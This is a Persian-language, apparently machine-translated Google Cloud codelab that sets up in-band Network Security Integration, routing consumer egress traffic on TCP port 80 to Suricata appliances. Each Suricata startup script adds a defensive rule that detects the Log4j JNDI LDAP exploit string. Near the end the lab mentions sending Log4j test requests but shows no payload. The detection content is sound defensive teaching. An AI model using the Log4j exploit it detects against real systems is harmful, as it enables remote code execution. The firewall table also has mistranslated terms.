۱. مقدمه
یکپارچهسازی امنیت شبکه
یکپارچهسازی امنیت شبکه (NSI) انعطافپذیری لازم را برای افزایش امنیت شبکه شما برای حجم کاریتان ارائه میدهد. ممکن است بخواهید از یک دستگاه اختصاصی از یک فروشنده نرمافزار مستقل شخص ثالث (ISV) استفاده کنید، یا از یک موتور بازرسی عمیق بسته (DPI) برای بررسی بار داده استفاده کنید. برای امکان یکپارچهسازی یکپارچه با این دستگاههای شخص ثالث، Google Cloud استقرار شفاف دستگاهها را بدون هیچ گونه تغییر شبکه یا مسیریابی آسان میکند.
گوگل کلود دو نوع یکپارچهسازی امنیت شبکه ارائه میدهد - خارج از باند و داخل باند. این آزمایشگاه مراحل پیادهسازی یکپارچهسازی امنیت شبکه داخل باند را بررسی خواهد کرد.
یکپارچهسازی امنیت شبکه درون باند
یکپارچهسازی امنیت شبکه، یکپارچهسازی درونباندی را با استفاده از فناوری رهگیری بسته فراهم میکند که به شما امکان میدهد دستگاههای شبکه شخص ثالث را در مسیر ترافیک شبکه قرار دهید تا بتوانید بارهای کاری Google Cloud را به طور شفاف بررسی کنید. این فرآیند از کپسولهسازی مجازیسازی شبکه عمومی (GENEVE) برای انتقال ایمن بستهها به دستگاه بدون تغییر آدرسهای IP اصلی منبع و مقصد استفاده میکند.
یکپارچهسازی درونباند، رویکردی سرویسمحور برای استقرار و مصرف تجهیزات شبکه درونخطی شخص ثالث در حالت bump-in-the-wire ارائه میدهد. به عنوان یک تولیدکننده سرویس، میتوانید مجموعهای مقیاسپذیر از تجهیزات شبکه شخص ثالث را به عنوان یک استقرار رهگیری منتشر کنید. به عنوان یک مصرفکننده سرویس، میتوانید از سیاستها و قوانین فایروال نسل بعدی ابر برای انتخاب دقیق ترافیک استفاده کنید تا به طور شفاف به یک نقطه پایانی رهگیری محلی برای بازرسی هدایت شوید.

شکل 1. معماری استقرار سطح بالای سرویس یکپارچهسازی درون باندی
برای اطلاعات بیشتر در مورد ادغام NSI درون باند، به مرور کلی ادغام درون باند مراجعه کنید.
تولیدکننده خدمات درون باند
تولیدکنندگان سرویس جایی هستند که لوازم جانبی شخص ثالث در آن مستقر و مدیریت میشوند. این میتواند توسط شخصی در سازمان شما (تیم امنیتی و غیره) یا یک فروشنده خارجی مدیریت شود. تولیدکنندگان، ماشینهای مجازی خود را که میتوانند لوازم جانبی شخص ثالث باشند، به عنوان backend برای یک Passthrough Network Load Balancer داخلی در شبکه VPC خود ثبت میکنند. این لوازم، ترافیک شبکهای را که به سمت آنها هدایت میشود، بررسی میکنند. سپس تولیدکنندگان سرویس، Intercept deployments را ایجاد میکنند، یک منبع منطقهای که به قانون ارسال Passthrough Network Load Balancer داخلی اشاره میکند.
استقرار رهگیری، یک منبع منطقهای است که سرویس بازرسی تولیدکننده را برای یک منطقه خاص نشان میدهد. تولیدکنندگان برای هر منطقهای که ماشینهای مجازی خود را در آن مستقر کردهاند، استقرارهای رهگیری ایجاد میکنند.
یک گروه استقرار رهگیری، منبعی جهانی و در محدوده پروژه است که به مصرفکنندگان اجازه میدهد به سرویسهای بازرسی تولیدکننده متصل شوند. تولیدکنندگان یک گروه استقرار رهگیری ایجاد میکنند تا چندین استقرار رهگیری منطقهای را گروهبندی کنند. تولیدکنندگان از IAM برای کنترل اینکه کدام مصرفکنندگان میتوانند به گروه استقرار آنها متصل شوند، استفاده میکنند.
برای اطلاعات بیشتر، به مرور کلی گروههای استقرار Intercept و مرور کلی استقرارهای Intercept مراجعه کنید.
مصرفکننده خدمات درون باند
مصرفکنندگان خدمات از خدمات بازرسی ارائه شده توسط تولیدکنندگان استفاده میکنند. مصرفکنندگان مشخص میکنند که میخواهند کدام VPCها و از کدام تولیدکننده بازرسی شوند. برای انجام این کار، مصرفکنندگان یک گروه نقطه پایانی Intercept ایجاد میکنند، یک منبع جهانی که نشان دهنده سمت آنها از رابطه تولیدکننده-مصرفکننده است و گروه نقطه پایانی Intercept را به گروه استقرار Intercept تولیدکننده پیوند میدهند.
برای مرتبط کردن گروه نقطه پایانی رهگیری با VPCهایی که میخواهند ترافیک از آنها بررسی شود، مصرفکنندگان یک ارتباط گروه نقطه پایانی رهگیری ایجاد میکنند. برای انتخاب ترافیکی که باید برای بررسی به تولیدکننده ارسال شود، مصرفکنندگان سیاستهای فایروال شبکه را ایجاد و استفاده میکنند. مصرفکنندگان یک گروه پروفایل امنیتی حاوی یک پروفایل امنیتی ایجاد میکنند که به گروه نقطه پایانی رهگیری آنها ارجاع میدهد. سپس مصرفکنندگان یک قانون فایروال ایجاد میکنند تا ترافیکی را که با معیارهای خاص مطابقت دارد به دستگاههای تولیدکننده هدایت کنند.
اگرچه گروه نقطه پایانی رهگیری (IEG) یک منبع در سطح پروژه است، اما IEG و انجمن IEG لازم نیست در یک پروژه باشند. یک IEG میتواند توسط یک انجمن IEG از پروژههای دیگر در سازمان شما ارجاع داده شود. این نشان دهنده سمت مصرف کننده از رابطه تولیدکننده-مصرف کننده است. مصرف کنندگان یک گروه نقطه پایانی رهگیری ایجاد میکنند تا از سرویس بازرسی تولیدکننده استفاده کنند. هر گروه نقطه پایانی رهگیری در سمت مصرف کننده با یک گروه استقرار رهگیری واحد در سمت تولیدکننده مرتبط است.
برای اطلاعات بیشتر، به مرور کلی گروهها و انجمنهای نقاط پایانی Intercept مراجعه کنید.
مصرفکنندگان باید یک قانون سیاست فایروال ایجاد کنند تا ترافیک را به گروه نقطه پایانی رهگیری خود هدایت کنند. مصرفکنندگان میتوانند معیارهای تطبیق را در قانون سیاست فایروال مشخص کنند، که به آنها اجازه میدهد تعریف کنند کدام ترافیک توسط دستگاههای تولیدکننده بررسی شود.
مصرفکنندگان یک پروفایل امنیتی رهگیری سفارشی ایجاد میکنند تا مشخص کنند کدام گروه نقطه پایانی رهگیری باید برای بازرسی ترافیک استفاده شود.
مصرفکنندگان یک گروه پروفایل امنیتی ایجاد میکنند تا گروهی از ویژگیهای بازرسی امنیتی را که باید برای زیرمجموعه خاصی از ترافیک اعمال شوند، تعریف کنند. یک گروه پروفایل امنیتی شامل یک پروفایل امنیتی رهگیری سفارشی واحد است.
آنچه خواهید ساخت

شکل ۲. معماری استقرار سطح بالا برای این آزمایشگاه کد
برای سادگی این آزمایشگاه کد، شما از یک پروژه واحد استفاده خواهید کرد و دو شبکه VPC ایجاد خواهید کرد و همچنین تعدادی از منابع شبکه و امنیت را مدیریت خواهید کرد. این آزمایشگاه نحوه استقرار یکپارچهسازی سرویس شبکه درون باند را با یک دستگاه شخص ثالث برای درج امنیتی شفاف نشان خواهد داد.
جریانهایی که باید بررسی شوند با استفاده از پارامترهای تطبیق فایروال ابری شامل ۵ تایی (IP منبع، IP مقصد، پروتکل، پورت منبع، پورت مقصد) انتخاب میشوند. برای سادگی این آزمایش، تمام ترافیک EGRESS را روی پورت TCP 80 بررسی خواهید کرد.
تولیدکننده اجازه ورود از طریق IP دروازه زیرشبکه VPC تولیدکننده (10.0.0.1/32) را برای بستههای UDP با پورت مقصد 6081 - پورت شناخته شده برای GENEVE - میدهد.
وضعیت نهایی پایگاه قوانین سیاست فایروال شبکه مشابه جدول زیر خواهد بود:
سیاست شبکه تهیهکنندگان:
اولویت | جهت | پروتکل | هدف | منبع | مقصد | بندر دست | اکشن |
۱۰۰ | ورود | همه | همه | بررسیهای سلامت | هر | هر | اجازه دادن |
۲۰۰ | ورود | همه | همه | آیپی | هر | هر | اجازه دادن |
۳۰۰ | ورود | بی سیم | همه | ۱۰.۰.۰.۱/۳۲ | هر | 6081 | اجازه دادن |
سیاست شبکه مصرفکننده:
اولویت | جهت | پروتکل | هدف | منبع | مقصد | بندر دست | اکشن |
۲۰۰ | ورود | تی سی پی | همه | آیپی | هر | ۲۲ | اجازه دادن |
۸۰۰ | خروج | تی سی پی | همه | هر | هر | ۸۰ | رهگیری |
آنچه یاد خواهید گرفت
- نحوه استقرار یکپارچهسازی امنیت شبکه درون باند
آنچه نیاز دارید
- سازمان و پروژه ابری گوگل
- مجوزهای مناسب IAM
- آشنایی با پیادهسازی نمونهها و پیکربندی اجزای شبکه
- دانش پیکربندی فایروال در حوزه سیاست شبکه
۲. قبل از شروع
نقشها و مجوزهای IAM
برای تکمیل آزمایشگاه کد یکپارچهسازی امنیت شبکه درونباند (NSI)، به نقشهای IAM زیر نیاز خواهید داشت:
- مدیر شبکه محاسباتی (
roles/compute.networkAdmin): برای ایجاد و مدیریت شبکههای VPC، زیرشبکهها، روترهای ابری، دروازههای NAT و سرویسهای backend متعادلکننده بار مورد نیاز است. - مدیر امنیت محاسبات (
roles/compute.securityAdmin): برای ایجاد، پیکربندی و مرتبط کردن سیاستها و قوانین فایروال شبکه جهانی ضروری است. - مدیر نمونه محاسباتی (
roles/compute.instanceAdmin.v1): برای استقرار، SSH و در نهایت حذف تجهیزات Suricata و ماشینهای مجازی تست مصرفکننده مورد نیاز است. - مدیر استقرار رهگیری (
roles/networksecurity.interceptDeploymentAdmin): توسط تولیدکننده برای ایجاد و مدیریت استقرارهای رهگیری منطقهای و گروه استقرار سراسری استفاده میشود. - مدیر نقطه پایانی رهگیری (
roles/networksecurity.interceptEndpointAdmin): توسط مصرفکننده برای ایجاد گروههای نقطه پایانی رهگیری و مرتبط کردن آنها با شبکه VPC خود استفاده میشود. - کاربر استقرار رهگیری (
roles/networksecurity.interceptDeploymentUser): در پروژه تولیدکننده برای اعطای مجوز اتصال به گروه استقرار تولیدکننده به مصرفکننده الزامی است. - مدیر پروفایل امنیتی (
roles/networksecurity.securityProfileAdmin): در سطح سازمان برای ایجاد و مدیریت پروفایلهای امنیتی رهگیری سفارشی و گروههای پروفایل امنیتی مورد نیاز است. - مدیر استفاده از سرویس (
roles/serviceusage.serviceUsageAdmin): برای فعال کردن APIهایnetworksecurity.googleapis.comوcompute.googleapis.comکه برای ویژگیهای NSI مورد نیاز هستند، ضروری است. - نمایشگر پروژه (
roles/viewer): برای بازیابی اطلاعات پیکربندی پروژه و اجداد سازمانی برای متغیرهای محیطی مورد استفاده در سراسر آزمایشگاه مورد نیاز است.
رابطهای برنامهنویسی کاربردی (API) گوگل کلود
لطفاً مطمئن شوید که APIهای مورد نیاز Google Cloud در پروژه شما فعال هستند.
API های لازم را فعال کنید، دستورات gcloud زیر را در Cloud Shell اجرا کنید.
gcloud services enable compute.googleapis.com \ networksecurity.googleapis.com \ cloudresourcemanager.googleapis.com
ایجاد/بهروزرسانی متغیرها
این آزمایشگاه کد از $variables برای کمک به پیادهسازی پیکربندی gcloud در Cloud Shell استفاده میکند.
در Cloud Shell، دستورات زیر را اجرا کنید و اطلاعات داخل پرانتز را در صورت نیاز جایگزین کنید:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zonea=[first-zone from $region] export zoneb=[second-zone from $region] export zonec=[third-zone from $region]
۳. اقدامات تولیدکننده
این بخش به بخش استقرار تولیدکننده میپردازد. این شامل استقرار VPC، دستگاه مجازی شبکه شخص ثالث و تمام اجزای مرتبط برای یکپارچهسازی امنیت شبکه میشود.
اجزای VPC و Cloud NAT
- VPC و زیرشبکه را ایجاد کنید:
gcloud compute networks create producer-vpc --subnet-mode=custom gcloud compute networks subnets create producer-$region-subnet \ --range=10.0.0.0/24 --network=producer-vpc --region=$region
- دریافت آیپی دروازه زیرشبکه برای استفاده از قانون فایروال:
export gatewayip=$(gcloud compute networks subnets list --project=$project_id --network=producer-vpc --format=json | jq -r '.[0].gatewayAddress')
- برای VPC تولیدکننده، سیاستها و قوانین FW ایجاد کنید. این قوانین FW امکان ورود برای بررسیهای سلامت، IAP و ترافیک منبع NSI را فراهم میکنند:
gcloud compute network-firewall-policies create producer-fwpolicy \
--global
gcloud compute network-firewall-policies rules create 100 \
--description="allow http traffic from ilb health-check ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80 \
--direction=INGRESS \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
gcloud compute network-firewall-policies rules create 300 \
--description="allow GENEVE UDP:6081 packets from gateway" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=udp:6081 \
--direction=INGRESS \
--src-ip-ranges=$gatewayip
- VPC تولیدکننده را به خطمشی فایروال شبکه مرتبط کنید:
gcloud compute network-firewall-policies associations create \
--firewall-policy producer-fwpolicy \
--network producer-vpc \
--name producer-fwpolicy-association \
--global-firewall-policy
- برای دانلود بستهها و بهروزرسانیهای مورد نیاز، روتر ابری و NAT ابری را برای دستگاه مجازی شبکه (NVA) شخص ثالث مستقر کنید:
gcloud compute addresses create producer-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$region-cloudnatip --format="value(address)") gcloud compute routers create producer-$region-cr \ --region=$region --network=producer-vpc gcloud compute routers nats create producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=producer-$region-cloudnatip
ماشینهای مجازی شخص ثالث
برای این آزمایش، شما Suricata، یک سرویس تشخیص تهدید متنباز، را مستقر خواهید کرد. این دستور دارای یک اسکریپت راهاندازی است که Suricata را نصب و پیکربندی میکند. همچنین iptables وجود دارد که ترجمه آدرس شبکه منبع (SNAT) و ترجمه آدرس شبکه مقصد (DNAT) را برای مدیریت و پاسخ به بستههای GENEVE انجام میدهند.
- یک NVA شخص ثالث را در منطقه اول خود مستقر کنید.
gcloud compute instances create suricata-$zonea \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.3 \
--zone $zonea \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
- یک NVA شخص ثالث را در منطقه دوم خود مستقر کنید:
gcloud compute instances create suricata-$zoneb \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.4 \
--zone $zoneb \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
اجزای متعادلکننده بار تولیدکننده
- یک بررسی سلامت عمومی ایجاد کنید که برای بررسی در دسترس بودن NVA شخص ثالث شما استفاده میشود:
gcloud compute health-checks create http nva-hc
- برای هر منطقه، یک گروه نمونه مدیریت نشده منطقهای ایجاد کنید:
gcloud compute instance-groups unmanaged create producer-$zonea-uig \ --zone $zonea gcloud compute instance-groups unmanaged create producer-$zoneb-uig \ --zone $zoneb
- نمونههای خود را به گروههای نمونه خود اضافه کنید:
gcloud compute instance-groups unmanaged add-instances producer-$zonea-uig --instances=suricata-$zonea --zone=$zonea gcloud compute instance-groups unmanaged add-instances producer-$zoneb-uig --instances=suricata-$zoneb --zone=$zoneb
گروههای نمونهای که شامل نمونههای شما هستند را با دستورات زیر اعتبارسنجی کنید:
gcloud compute instance-groups unmanaged list-instances producer-$zonea-uig --zone=$zonea gcloud compute instance-groups unmanaged list-instances producer-$zoneb-uig --zone=$zoneb
خروجی نمونه:
NAME: suricata-$zonea STATUS: RUNNING NAME: suricata-$zoneb STATUS: RUNNING
- یک سرویس داخلی UDP backend ایجاد کنید:
gcloud compute backend-services create producer-bes \ --protocol=UDP \ --region=projects/$project_id/regions/$region \ --health-checks=projects/$project_id/global/healthChecks/nva-hc \ --load-balancing-scheme=INTERNAL
- هر دو گروه نمونه را به سرویس backend اضافه کنید:
gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zonea/instanceGroups/producer-$zonea-uig --region=$region gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zoneb/instanceGroups/producer-$zoneb-uig --region=$region
- آیپیهای داخلی را برای قوانین ارسال خود رزرو کنید. هر استقرار رهگیری نیاز به یک قانون ارسال منحصر به فرد دارد:
gcloud compute addresses create producer-fr-$zonea-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.11
gcloud compute addresses create producer-fr-$zoneb-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.12
- برای هر منطقه، قانون ارسال را ایجاد کنید. این مورد ضروری است زیرا استقرار رهگیری به یک قانون ارسال منحصر به فرد نیاز دارد:
gcloud compute forwarding-rules create producer-fr-$zonea \ --ip-protocol=UDP --address=10.0.0.11 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet gcloud compute forwarding-rules create producer-fr-$zoneb \ --ip-protocol=UDP --address=10.0.0.12 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet
اجزای یکپارچهسازی امنیت شبکه
- یک گروه استقرار رهگیری ایجاد کنید:
gcloud network-security intercept-deployment-groups create producer-nsi-deployment-group \
--location global \
--no-async \
--network producer-vpc
تأیید کنید که گروه استقرار با موفقیت ایجاد شده است:
gcloud network-security intercept-deployment-groups describe producer-nsi-deployment-group \
--location global
خروجی نمونه:
createTime: '2025-01-16T06:13:48.075183628Z' name: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group network: projects/$project_id/global/networks/producer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:13:50.556947138Z'
- برای هر منطقه یک استقرار رهگیری ایجاد کنید:
gcloud network-security intercept-deployments create nsi-deployment-$zonea \
--location $zonea \
--forwarding-rule producer-fr-$zonea \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
gcloud network-security intercept-deployments create nsi-deployment-$zoneb \
--location $zoneb \
--forwarding-rule producer-fr-$zoneb \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
تأیید کنید که استقرارهای رهگیری با موفقیت ایجاد شدهاند:
gcloud network-security intercept-deployments describe nsi-deployment-$zonea \
--location $zonea
gcloud network-security intercept-deployments describe nsi-deployment-$zoneb \
--location $zoneb
خروجی نمونه:
createTime: '2025-01-16T06:27:08.834875130Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/$zonea/interceptDeployments/nsi-deployment-$zonea reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:14.401072601Z' createTime: '2025-01-16T06:33:47.798469786Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr-$zoneb interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/us-west1-b/interceptDeployments/nsi-deployment-$zoneb reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:25.258447474Z'
تبریک میگویم، شما تنظیمات سمت تولیدکننده را تکمیل کردهاید. در مرحله بعد، سمت مصرفکننده را طوری پیکربندی خواهید کرد که ترافیک را رهگیری کرده و به صورت شفاف آن را برای اجرا به دستگاههای شخص ثالث ارسال کند.
۴. اقدامات مصرفکننده
اگرچه این آزمایشگاه برای سادگی از VPC های جداگانه در یک پروژه واحد استفاده میکند، اما در محیطهای دنیای واقعی، منابع تولیدکننده و مصرفکننده میتوانند در پروژههای مختلف یا حتی در سازمانهای مختلف قرار داشته باشند.
اجزای VPC و Cloud NAT
- VPC و زیرشبکه را ایجاد کنید:
gcloud compute networks create consumer-vpc --subnet-mode=custom gcloud compute networks subnets create consumer-$region-subnet \ --range=192.168.0.0/24 --network=consumer-vpc --region=$region
- روتر ابری و دروازه Cloud NAT را ایجاد کنید:
gcloud compute addresses create consumer-$region-cloudnatip \
--region=$region
export cloudnatip=$(gcloud compute addresses list \
--filter=name:consumer-$region-cloudnatip \
--format="value(address)")
gcloud compute routers create consumer-$region-cr \
--region=$region \
--network=consumer-vpc
gcloud compute routers nats create consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region \
--nat-all-subnet-ip-ranges \
--nat-external-ip-pool=consumer-$region-cloudnatip
گروه و انجمن نقطه پایانی رهگیری
- ایجاد گروه نقطه پایانی رهگیری:
gcloud network-security intercept-endpoint-groups create nsi-endpoint-group \
--location global \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
اعتبارسنجی اینکه نقطه پایانی با موفقیت ایجاد شده است:
gcloud network-security intercept-endpoint-groups describe nsi-endpoint-group \
--location global
خروجی نمونه:
createTime: '2025-01-16T06:37:10.620185836Z' interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group reconciling: false state: ACTIVE updateTime: '2025-01-16T06:37:22.707994466Z'
- ایجاد ارتباط گروه نقطه پایانی رهگیری با مشخص کردن VPC مصرف کننده:
gcloud network-security intercept-endpoint-group-associations create nsi-endpoint-group-assoc \
--location global \
--network consumer-vpc \
--no-async \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
اعتبارسنجی:
gcloud network-security intercept-endpoint-group-associations describe nsi-endpoint-group-assoc \
--location global
خروجی نمونه:
createTime: '2025-01-16T06:40:21.125202733Z' interceptEndpointGroup: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group locations: - location: $zonea state: ACTIVE - location: $zoneb state: ACTIVE name: projects/$project_id/locations/global/interceptEndpointGroupAssociations/nsi-endpoint-group-assoc network: projects/$project_id/global/networks/consumer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:40:56.085493855Z'
پروفایل امنیتی و گروه پروفایل امنیتی
در مرحله بعد، یک پروفایل امنیتی سفارشی برای رهگیری ایجاد کرده و آن را به گروه پروفایل امنیتی متصل خواهید کرد. پروفایل امنیتی و گروه پروفایل امنیتی برای رهگیری بستهها برای دستگاههای شخص ثالث استفاده میشوند.
- یک پروفایل امنیتی با رهگیری سفارشی ایجاد کنید:
gcloud network-security security-profiles custom-intercept create nsi-intercept-profile \
--organization $org_id \
--location global \
--billing-project $project_id \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
تأیید کنید که نمایه امنیتی با موفقیت ایجاد شده است:
gcloud network-security security-profiles custom-intercept \ describe nsi-intercept-profile \ --organization=$org_id \ --location=global
خروجی نمونه:
{
"createTime": "2025-01-16T20:25:21.545756039Z",
"customInterceptProfile": {
"interceptEndpointGroup": "projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group"
},
"etag": "vBAcVRe70k70rNJ3stzuCAvp_JbiPD2IWqcHKKAGlzw",
"name": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
"type": "CUSTOM_INTERCEPT",
"updateTime": "2025-01-16T20:25:24.101764860Z"
}
- ایجاد یک گروه پروفایل امنیتی:
gcloud network-security security-profile-groups create nsi-spg \ --custom-intercept-profile=nsi-intercept-profile \ --organization=$org_id \ --project=$project_id \ --location=global
تأیید کنید که SPG با موفقیت ایجاد شده است:
gcloud network-security security-profile-groups describe nsi-spg \
--organization $org_id \
--billing-project $project_id \
--location global
خروجی نمونه:
"createTime": "2025-01-16T20:31:23.545946850Z", "customInterceptProfile": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile", "etag": "bAE-90dCYvYfOKga4EfGXWRGuJXJpsiTEEgVsw3AmM0", "name": "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg", "updateTime": "2025-01-16T20:31:27.588870973Z"
سیاست، قوانین و انجمن فایروال
- ایجاد یک سیاست فایروال شبکه جهانی:
gcloud compute network-firewall-policies create consumer-fwpolicy \
--global
- ایجاد قوانین فایروال:
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=consumer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
- یک قانون فایروال ایجاد کنید تا تمام ترافیک خروجی را با استفاده از NSI رهگیری کند و به صورت شفاف به دستگاه شخص ثالث ما ارسال کند. این قانون تمام ترافیک خروجی TCP:80 را برای بازرسی ارسال میکند.
gcloud compute network-firewall-policies rules create 800 \
--action APPLY_SECURITY_PROFILE_GROUP \
--firewall-policy consumer-fwpolicy \
--security-profile-group "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg" \
--direction EGRESS \
--layer4-configs tcp:80 \
--dest-ip-ranges 0.0.0.0/0 \
--global-firewall-policy
- سیاست فایروال ابری را به شبکه VPC مرتبط کنید:
gcloud compute network-firewall-policies associations create \
--firewall-policy consumer-fwpolicy \
--network consumer-vpc \
--name consumer-fwpolicy-association \
--global-firewall-policy
ماشینهای مجازی مصرفکننده
- ماشینهای مجازی مورد استفاده برای اعتبارسنجی NSI را مستقر کنید. شما ۳ ماشین مجازی را در ۳ منطقه مستقر خواهید کرد. به یاد داشته باشید که فقط ۲ منطقه NSI فعال دارند در حالی که $zonec این قابلیت را ندارد.
gcloud compute instances create consumer-$zonea \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.3 \ --no-address \ --zone $zonea gcloud compute instances create consumer-$zoneb \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.4 \ --no-address \ --zone $zoneb gcloud compute instances create consumer-$zonec \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.5 \ --no-address \ --zone $zonec
آزمایش یکپارچهسازی امنیت شبکه درون باند
- با استفاده از SSH به ماشین مجازی $zonea (consumer-$zonea) متصل شوید. ترافیک آزمایشی را ارسال کنید:
gcloud compute ssh consumer-$zonea \ --zone $zonea
- ارسال ترافیک آزمایشی به http://www.google.com :
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
خروجی مورد انتظار:
200
کد وضعیت HTTP 200 نشان میدهد که درخواست کلاینت با موفقیت توسط سرور دریافت، درک و پردازش شده است.
- درخواستهای log4j که باید توسط Suricata مسدود شوند را از طریق NSI ارسال کنید.
